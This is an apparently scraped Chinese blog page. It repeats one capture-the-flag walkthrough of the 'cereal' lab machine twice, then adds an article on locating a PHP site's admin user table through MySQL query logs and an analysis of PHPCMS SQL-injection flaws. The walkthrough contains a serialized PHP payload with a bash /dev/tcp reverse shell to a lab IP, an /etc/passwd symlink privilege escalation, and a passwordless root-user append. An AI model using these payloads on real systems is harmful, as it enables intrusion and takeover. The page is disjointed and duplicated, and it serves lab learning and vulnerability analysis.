在重放的界面中,可以构造一些注入命令;
我在这里添加 | ls ,发现服务端的响应报文有500的状态码
改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏
反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!
那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里
先停止burp的截断功能;
访问浏览器,查看是否有git的版本库文件,结果没有提示
查看.svn 也没有
再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件
再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件
在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)
先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;
再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak
寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)
既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak
查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!
使用kali的文本编辑器mousepad打开该文件
看起来是一个带有php标签的php语言文件;
查看该php源码文件,发现有html标签文件
其中有java脚本文件中的一些序列化操作函数
源码审计分析
class pingTest ---定义了类(反序列化对象的类)
public $ipAddress = "127.0.0.1";--变量名称和赋值
public $isValid = False; -- 校验是失败的
public $output = ""; -- 空值
这是之前抓取的报文中obj对象中有的内容
function validate() {-- 定义了一个函数
if (!$this->isValid) { -- 校验isValid函数是真还是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用过滤器对传入的IpAddress使用方法(使用filter_var进行判断)
$this->isValid = True;--fileter_var函数校验赋值若成功,将这个valid值变为True
}
}
$this->ping(); -- 执行Ping的命令;
}
public function ping() -- 以下是ping 的命令函数具体操作内容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 执行内容就是使用ping 三个报文;
这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;
当post请求接收到来自obj请求的赋值时,进行一个解码的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解码
} else {
$pingTest = new pingTest; -- 新的赋值
}
$pingTest->validate(); --调用vali
分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!
实现绕过服务端的检查!
反序列化漏洞的利用方法
先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。
在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码
运行该php文件
生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将序列化内容粘贴到截获的报文之中去
将这个url 地址转换一下
能够看到有两个键值对 ipaddress 和isvalid
b=1 为布尔值,代表了真的意思!
点击发送,服务端返回了http状态码200
再观察服务端渲染回来的界面结果,看起来,是执行成功了!
再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!
结果成功!
由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!
这里我在223.5.5.5后面增加了 ;id
服务端回显了200的状态码
渲染界面里提示成功!
观察服务端回显的回应源数据文件
id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称
因此,就可以在此处插入更多的指令
查看目标靶机中是否有nc的命令?
结果命令没有回显
由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!
输入以下内容:
在kali中继续修改ser1.php文件
保存ser1.php文件后,在kali上开启侦听3028端口
再次运行 ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将这个序列化的数据内容插入的repter之中,点击发送!
如图所示:获得了一个反弹shell的链接!身份是apche
本地提权
先收获第一个flag!
查看操作系统版本
查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!
查看 目标系统内的所有用户
发现有一个rocky的用户可以登录系统!
查看rocky用户下的所有文件
重点放在了public_html下的文件,可以看到44441端口下的一些文件
进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!
查看目标靶机的系统进程
没有发现可利用的线索 (mysql用的是非root)
目标靶机启用了大量的端口!
这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!
在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具
pspy64一个linux系统进程监控工具
下载地址:
部分网络环境需要挂的代理访问
百度云下载地址:
提取码:1zrs
从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)
我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!
先查看目标靶机的定时任务和root下的定时任务
在root下提示是没有权限的!
将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)
通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!
因此,我利用nc 来接收这个pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
传入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加执行权限到pspy文件~
启动改文件 ./pspy
这个启动和执行过程需要等待一会,系统会不会有新的进程出现
!
1:33
在后台进程中,我发现了一个叫做chown.sh的脚本,众所周知chown是linux的一个命令
这应该是管理员自己创建的一个脚本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上监听3031端口,增加一个反弹shell的连接
修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031
查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取
查看该chown.sh文件
看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache
这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改
一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!
那么,这个命令脚本内容对目前渗透有什么帮助呢?
软连接这个命令这个时候就派上了用场!
先来看一下系统的/etc/passwd这个文件的属主和属组
在kali上只有root用户有可读可写权限,其他的只有读的权限
在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!
难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!
等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,
可是图中的passd权限却没有发生变化!
按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!
观察,/etc/passwd这个文件的属主和属组变化了!
这样的话就可以将root密码设为空了!
因为当前获得的反弹shell 不太稳定
我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切换到daidai这个用户
提权成功,获取flag
到此结束,打靶结束!
查看全部
php抓取网页数据插入数据库 外壳坚硬的谷子
发现了一个java_script脚本(实际渗透工作中应该关注此脚本内容,能够透出出后端的信息)
里面的内容大致的意思是
通过函数,提交表单,通过序列化的操作!IP地址等信息交给ipaddres这个变量序列化的操作!
那么在这里面既然有序列化的操作,是否会存在一个反序列化的漏洞类型呢?
这里还看到了一个被包含的js的文件
点击这个链接 :44441/php.js"
里面的内容大致就是序列化函数,大概率存在序列化操作
先对其页面进行功能化测试,输入127.0.0.1
在结果框中输出了结果
输入一些运营商的DNS的IP地址
结果显示出来,从结果上来看,就是通过操作系统的ping 命令操作得来的!
总的来说这就是一个ping的功能界面(输入Ip ,统计输出一些信息是由服务端调用了系统的ping 命令而来)
这个地方是否会存在命令注入漏洞呢?
使用;号,|管道符这样的连接命令,连接一个系统id的命令
如图:没有任何返回
使用burp抓取请求报文,看一下内部的流量变化,是否存在序列化的数据
先把浏览器代理设置好
通过抓取的报文,得到的是一个POST的请求方式;
携带了一个obj的对象和一个ip 的变量要提交到服务端;
其中这个obj的对象里的内容经过了url编码,将它转换成可识别的路径
转换结果,懂得序列化格式的朋友一看就是php文件之后的序列化数据的格式了
pingTest :序列化对象定义的的类
1 :代表类中一个数据的提交
ipAddress :类中提交的一个数据的变量名称
s : 代表了序列化
9 : 代表了名称ipAddress 和 127.0.0.1字符串的长度。
这就是客户端发送的序列化数据格式到服务端,服务端收到了127.0.0.1这个IP 去完成Ping,然后返回给客户端的一个过程!
如果觉得burp字体小,可以调的大一些
重新抓取一个请求报文,在表单中输入 127.0.0.1;id(增加了注入命令)
在抓取的请求报文中,将obj和ip 这两个类中序列化数据解码成可识别的url,看看有什么变化
序列化的格式基本没变,变化的就是赋值多了;id 这样的内容,字符长度也增加到了12个;
证明了表单中输入注入命令的这些内容,由java_script脚本原封不动的变成序列化的内容。
转发后,服务端并没有执行该序列化的内容
证明服务端对ip地址这样的格式存在检查机制!
为了弄清这个问题,将这个原始的命令发送请求发送给repeater
url被转换后,在repeater中点击send发送给服务端
在重放的界面中,可以构造一些注入命令;
我在这里添加 | ls ,发现服务端的响应报文有500的状态码
改变了字符的长度,虽然不是状态码500的状态码,但是回显页面是黑屏
反序列化的漏洞特征在黑盒测试下,是十分难获取,除非拿到源码!
那么接下来,就需要再目标靶机中找源码,在实际的渗透工作中,源码的存储路径默认在根路径下的.git或者.svn这样的版本库里
先停止burp的截断功能;
访问浏览器,查看是否有git的版本库文件,结果没有提示
查看.svn 也没有
再回想之前的信息收集,中曾描述了这么一段话:让我们关注其备份文件
再次使用dirbuster这个工具对secure.cereal.ctf:44441这个路径下进行隐藏路径和扩展名的爬取,携带体型较大的字典文件
在最终的爬取结果中,看到一些之前没有被爬取出的备份文件路径(根据计算机配置,时间长短不一!)
先访问/icons/small的路径,访问路径看起来但只是有一些小图片,这对渗透没有什么价值;
再针对/back_en这个路径进行隐藏路径的爬取,这里面是否会存在一些备份文件呢,还是利用dirbuster,只不过更换一个小体积的密码字典文件,携带查询扩展名为bak
寻找到了一个index.php.bak,并且这个http状态码是200 (这个状态显示该资源是存在的,并且能够请求到!)
既然发现了这一个文件,回到kali中,使用wget进行下载.index.php.bak
查看文件类型,看起来就是一个php的脚本文件,只不过增加了一个扩展名!
使用kali的文本编辑器mousepad打开该文件
看起来是一个带有php标签的php语言文件;
查看该php源码文件,发现有html标签文件
其中有java脚本文件中的一些序列化操作函数
源码审计分析
class pingTest ---定义了类(反序列化对象的类)
public $ipAddress = "127.0.0.1";--变量名称和赋值
public $isValid = False; -- 校验是失败的
public $output = ""; -- 空值
这是之前抓取的报文中obj对象中有的内容
function validate() {-- 定义了一个函数
if (!$this->isValid) { -- 校验isValid函数是真还是假
if (filter_var($this->ipAddress, FILTER_VALIDATE_IP))
{-- 使用过滤器对传入的IpAddress使用方法(使用filter_var进行判断)
$this->isValid = True;--fileter_var函数校验赋值若成功,将这个valid值变为True
}
}
$this->ping(); -- 执行Ping的命令;
}
public function ping() -- 以下是ping 的命令函数具体操作内容
{
if ($this->isValid) { -- isValid 若是 True
$this->output = shell_exec("ping -c 3 $this->ipAddress"); -- 执行内容就是使用ping 三个报文;
这里需要明白的是过滤器FILTERVALIDATE_IP 里的内容是在目标靶机中别的文件里进行定义的,其作用就是判断输入的内容是不是真正的IP,若是真正的IP,就将isValid改为True;
当post请求接收到来自obj请求的赋值时,进行一个解码的操作
f (isset($_POST['obj'])) {
$pingTest = unserialize -- 反序列化操作
(urldecode($_POST['obj'])); --解码
} else {
$pingTest = new pingTest; -- 新的赋值
}
$pingTest->validate(); --调用vali
分析完成后,攻击思路的重点放在提交的数据(IP地址)校验结果取决于与isvalid判定的结果,在源码文件中,默认isValid = False,若是生成一个序列化的数据,声明isValid值就等于True,这样的话,就会执行ping命令了!
实现绕过服务端的检查!
反序列化漏洞的利用方法
先在客户端上生成一个序列化的数据序列(内容中需要声明类,调用类创建一个新的序列化对象,,对象中的valid指定true,注入Ip地址后添加系统指令)实现饶过isValid真假的校验。
在kali上新建一个生成序列化的php文件,写一个ser1.php的php的代码
运行该php文件
生成了一个序列,将这个序列化的内容拷贝O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将序列化内容粘贴到截获的报文之中去
将这个url 地址转换一下
能够看到有两个键值对 ipaddress 和isvalid
b=1 为布尔值,代表了真的意思!
点击发送,服务端返回了http状态码200
再观察服务端渲染回来的界面结果,看起来,是执行成功了!
再次验证结果,将生成序列化里的内容,稍作修改,将ipaddress改成另外一个Ip地址,(注意,如果改202.106.0.20这个IP,字符长度就要从原来的9变为12)要不然服务端会回显500的状态码!
结果成功!
由此,可以证明构造序列化的数据向服务端提交请求!,ip地址后面加入一些系统指令,来进一步证明!
这里我在223.5.5.5后面增加了 ;id
服务端回显了200的状态码
渲染界面里提示成功!
观察服务端回显的回应源数据文件
id的命令被执行了,目标靶机的第一个用户身份是apache的用户名称
因此,就可以在此处插入更多的指令
查看目标靶机中是否有nc的命令?
结果命令没有回显
由于插入常规的反弹shell 会导致字符长度过长,出于简单的目的,使用bash直接连接,产生网络连接的方式!
输入以下内容:
在kali中继续修改ser1.php文件
保存ser1.php文件后,在kali上开启侦听3028端口
再次运行 ser1.php文件,生成一个新的序列化数据O%3A8%3A%22pingTest%22%3A2%3A%7Bs%3A9%3A%22ipAddress%22%3Bs%3A52%3A%22127.0.0.1%7Cbash+-i+%3E%26+%2Fdev%2Ftcp%2F192.168.1.85%2F3028+0%3E%261%22%3Bs%3A7%3A%22isValid%22%3Bb%3A1%3B%7D
将这个序列化的数据内容插入的repter之中,点击发送!
如图所示:获得了一个反弹shell的链接!身份是apche
本地提权
先收获第一个flag!
查看操作系统版本
查看 sudo 权限以及寻找suid文件漏洞,都没有得到有效的线索!
查看 目标系统内的所有用户
发现有一个rocky的用户可以登录系统!
查看rocky用户下的所有文件
重点放在了public_html下的文件,可以看到44441端口下的一些文件
进入到该文件目录,查看index.php 这个文件,发现内容和我之前下载的那个文件内容一样!类中的定义也是一样的!
查看目标靶机的系统进程
没有发现可利用的线索 (mysql用的是非root)
目标靶机启用了大量的端口!
这就是在端口扫描阶段,端口结果没有应用的原因!靶机作者用nc空开了许多无用的端口!
在漫长的信息收集后,决定使用一个监视目标靶机进程产生的工具
pspy64一个linux系统进程监控工具
下载地址:
部分网络环境需要挂的代理访问
百度云下载地址:
提取码:1zrs
从该软件的自述文件可以得知,不需要root身份就可以监控用户(操作系统)的新的进程创建,符合目前靶机的情况,来搜寻后台的进程-crond,这些后台进程会运行脚本文件(这些进程是root身份运行,比如定时任务什么的)
我现将这个软件上传到我的kali上去,因为目标靶机的系统是64位,因此我下载的这个Pspy也是64位的!
先查看目标靶机的定时任务和root下的定时任务
在root下提示是没有权限的!
将pspy64这个文件上传到目标靶机之中,查看目标靶机系统是否会在一段时间过后,自动创建一些后台进程(这些进程由root身份运行的呢?)
通过观察,在这个路径下,我目前的身份是apache ,而这些文件的用户组是apche,是拥有所有的权限的,包括了写入的权限!
因此,我利用nc 来接收这个pspy64文件
bash-4.4$ nc -nvlp 3030 > pspy
传入成功
nc 192.168.1.74 3030 < /home/fengxin/桌面/pspy64 -w 1
增加执行权限到pspy文件~
启动改文件 ./pspy
这个启动和执行过程需要等待一会,系统会不会有新的进程出现
!
1:33
在后台进程中,我发现了一个叫做chown.sh的脚本,众所周知chown是linux的一个命令
这应该是管理员自己创建的一个脚本文件
/bin/bash /usr/share/scripts/chown.sh
我在kali上监听3031端口,增加一个反弹shell的连接
修改之前抓取的obj对象里数据内容,将之前触发序列化漏洞的数据,有一个端口改为3031
查看目标靶机里的文件,能够查看到这个文件的权限是可以被其他用户所读取
查看该chown.sh文件
看起来是将周期性的这个/home/rocky/public_html/* 这个目标文件夹下所有的文件权限改成属主是rocky,属组是apache
这就是我之前有一个chmod +x 执行失败的原因,正好赶上周期性的将这个目录下所有文件的属主和属组改变,让我无法修改
一个周期过后,我在看这个public_html下所有的文件的属主和属组都发生了变化!
那么,这个命令脚本内容对目前渗透有什么帮助呢?
软连接这个命令这个时候就派上了用场!
先来看一下系统的/etc/passwd这个文件的属主和属组
在kali上只有root用户有可读可写权限,其他的只有读的权限
在目标靶机中的这个/etc/passwd文件是属主和属组拥有完全权限!
难么在靶机的这个/home/rocky/public_html下也新建一个Passwd文件,并连接到/etc/passwd呢?
ln -sf /etc/passwd ./passwd
这个chown.sh脚本在周期性的执行,会把这个/home/rokcy/public_html下的passwd文件属主改为rocky, 属组改为apache!
等待一段时间观察,监控到chown脚本周期执行,权限会发生变化,
可是图中的passd权限却没有发生变化!
按照理论目标靶机的/etc/passwd这个文件的属主和属组也会被修改成rokcy和apache的!
观察,/etc/passwd这个文件的属主和属组变化了!
这样的话就可以将root密码设为空了!
因为当前获得的反弹shell 不太稳定
我这里新建一个用户,密码占位符x 删除掉,不需要密码,使用的是uid和gid都为0的设置,了解linux用户属性的都知道uid=0 gid=0 的账号一定是root角色,并将这些信息追加到/etc/passwd中去
echo "daidai::0:0:root:/root:/bin/bash" >> /etc/passwd
最后查看passwd文件,注入成功!
最后使用su命令,切换到daidai这个用户
提权成功,获取flag
到此结束,打靶结束!
PHP网站后台密码绕过系列-查找后台的数据库表
网站优化 • 优采云 发表了文章 • 0 个评论 • 41 次浏览 • 2022-06-17 17:19
前言:上期给大家介绍了如何找到PHP网站后台登录验证函数,今天继续给大家分享后续步骤方法。
通过上期介绍我们可以找到网站的验证函数,通过验证函数我们可以找到密钥的加密方式。
接下来就是进数据库直接替换,更改密码,进后台了……美滋滋
可是,可是,可是,当打开数据库表时才发现——我是谁,我在哪,我要干啥……灵魂三问!!!
谁能告诉我哪个才是后台的用户表!!
别急,这期告诉你一招简单的方法就能精准找到那个让你魂牵梦绕的user表。
我们的方法是:日志
MySQL的查询日志记录了所有MySQL数据库请求的信息。MySQL配置文件中的参数general_log用来控制开启、关闭MySQL查询日志;
在general_log开启状态下, 网站页面对数据库做的所有操作都会被记录下来,就很容易知道操作的是哪个表。
接下来看看如何查看和打开general_log;
进入mysql,执行“show variables like '%general%'”命令可以查看日志当前状态,默认情况下日志处于关闭状态。
这时候只需要再执行“set global general_log=on”命令就可开启查询日志
(在命令下开启,只是临时开启,重启服务后就回到默认状态,不影响后续的使用)
下面我们以登录网站后台验证下是否可以找到用户表。
在网站后台页面账号密码框随便输入一个用户名进行测试。
然后回到MySQL日志所在路径,访问general_log日志文件,搜索我们刚才输入的用户名就会发现网站所调用的表。
打开表看看,确实是后台用户表
这时候就可以替换密钥啦,注意有salt哟......
喜欢小知的话请不要忘了关注,点赞,转发! 查看全部
PHP网站后台密码绕过系列-查找后台的数据库表
前言:上期给大家介绍了如何找到PHP网站后台登录验证函数,今天继续给大家分享后续步骤方法。
通过上期介绍我们可以找到网站的验证函数,通过验证函数我们可以找到密钥的加密方式。
接下来就是进数据库直接替换,更改密码,进后台了……美滋滋
可是,可是,可是,当打开数据库表时才发现——我是谁,我在哪,我要干啥……灵魂三问!!!
谁能告诉我哪个才是后台的用户表!!
别急,这期告诉你一招简单的方法就能精准找到那个让你魂牵梦绕的user表。
我们的方法是:日志
MySQL的查询日志记录了所有MySQL数据库请求的信息。MySQL配置文件中的参数general_log用来控制开启、关闭MySQL查询日志;
在general_log开启状态下, 网站页面对数据库做的所有操作都会被记录下来,就很容易知道操作的是哪个表。
接下来看看如何查看和打开general_log;
进入mysql,执行“show variables like '%general%'”命令可以查看日志当前状态,默认情况下日志处于关闭状态。
这时候只需要再执行“set global general_log=on”命令就可开启查询日志
(在命令下开启,只是临时开启,重启服务后就回到默认状态,不影响后续的使用)
下面我们以登录网站后台验证下是否可以找到用户表。
在网站后台页面账号密码框随便输入一个用户名进行测试。
然后回到MySQL日志所在路径,访问general_log日志文件,搜索我们刚才输入的用户名就会发现网站所调用的表。
打开表看看,确实是后台用户表
这时候就可以替换密钥啦,注意有salt哟......
喜欢小知的话请不要忘了关注,点赞,转发!
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
网站优化 • 优采云 发表了文章 • 0 个评论 • 71 次浏览 • 2022-06-14 13:43
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:
第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
